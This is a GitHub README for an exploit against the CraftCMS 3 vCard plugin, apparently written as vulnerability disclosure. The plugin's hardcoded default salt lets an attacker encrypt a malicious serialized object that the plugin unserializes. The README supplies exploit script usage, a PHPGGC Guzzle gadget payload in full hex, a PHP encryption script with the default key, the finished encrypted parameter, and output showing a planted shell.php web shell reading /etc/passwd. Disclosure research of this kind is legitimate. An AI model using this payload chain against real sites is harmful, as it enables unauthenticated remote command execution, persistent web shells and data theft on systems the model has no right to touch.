wguest/craftcms-vcard-exploitThis repository has details on a vulnerability found with the "vCard" plugin for CraftCMS 3.
Craft CMS has a plugin for downloading contacts in a *.vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github
This plugin takes a parameter sent by the client, decrypts the value with openssl_decrypt, and then puts the resulting string into PHP's unserialize function. Since the default salt for the encryption is available in the repository, an attacker can use the same logic to encrypt a malicious serialized payload.
If the user has a modified "salt" value configured in the plugin settings, then this will have to be provided as a parameter to the Python script. However, this value will remain unchanged if downloaded from the plugin store or just cloning the repository. There is no option to change it via the Craft web GUI.
Run the script providing the vCard link which triggers the contact download. Remove the vcard parameter value.
The parameter to the script would then be: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
There is an optional salt value which can be provided. Full options displayed here:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
The python script was tested on Python 3.6
The script will run a PHP command on the attacker's host to encrypt the payload. As a result, php-cli will need to be installed. This attack was tested with PHP 7.2-cli and PHP 7.3-cli
Here is a snapshot of where the code unserializes insecurely (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
The $optionsString parameter is the value of the "vcard" url paramter provided by the client. It is passed through the decrypt function and then deserialized. If the client can mimic the encryption, then this code becomes vulnerable as it directly deserializes user-provided data.
Here is the encryption function in question (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
The only value which an attacker needs to know is the $key variable set by "VCard::$plugin->getSettings()->salt". The default value can be viewed in the repository as "s34s4L7" (config.php:26) Github
Assuming the default salt is used, an attacker can force the deserialization of any class in the Craft installation.
We need to find a "gadget" class in Craft's default installation which we can use for malicious purposes. Reviewing which classes have __destruct or __wakeup magic functions provides a small enough list to review. This can be done using "grep -rni < path to web root > -e '__destruct'"
guzzlehttp has a class titled "FileCookieJar" which looks like it saves a file using a class attribute as the filename:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Investigating the save function shows that it will write out data to a system file path, the path and data both being class attributes and under the attacker's control. It makes sense that when this class object is destroyed that it would write whatever cookies it had to the file name attribute to be recovered or used later. Here are the contents of the save function with file_put_contents being our target (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Fortunately, we do not have to do manual leg work to construct the malicious payload ourselves. The marvelous tool PHPGGC automates serializing a Guzzle class with a payload for us to use in this exploit.
I used the tool to create this as a base payload for the exploit script though it will be modified slightly depending on the filename. Also, it is important to note that if generating a new payload with PHPGGC, then the "-f" parameter must be used or the magic __destruct function will not run:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
The sample.txt contents are:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Be wary that regular copy+paste will not work here as there are null bytes in the serialized class which need to be there for the attributes to be mapped correctly. I had to convert the raw output from the tool into hex and then convert back to a string while mimicking he encryption process. Here is the bash used to get the hex payload.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
There may be a "0A" byte at the end of the generated payload. If so, remove it. In any case, now that we have a payload from PHPGGC and converted it to hex, we need to encrypt it prior to sending it the the vulnerable plugin function. By copying the logic from the previously mentioned vCard encrypt function, we just need to convert our hex payload and encrypt. Here is the PHP script I used:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
And the resulting output:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Finally! Now that we have our payload, we just need to send it in a request and shell will be available. The link to a valid vCard download will vary. Here is a sample from my test deployment:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
The vcard parameter value is stripped out and replaced by our malicious one:
The string passes through as $optionsString, gets decrypted, then unserializes causing an internal server error. Reviewing the file system of the test web server shows a new shell.php file has been created:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Visiting http://craftcms/shell.php in my browser, I can now pass system commands through the cmd GET parameter.
Example: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
PHP Gadget Generation: https://github.com/ambionics/phpggc
vCard Plugin: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
unserialize documentation: https://www.php.net/manual/en/function.unserialize.php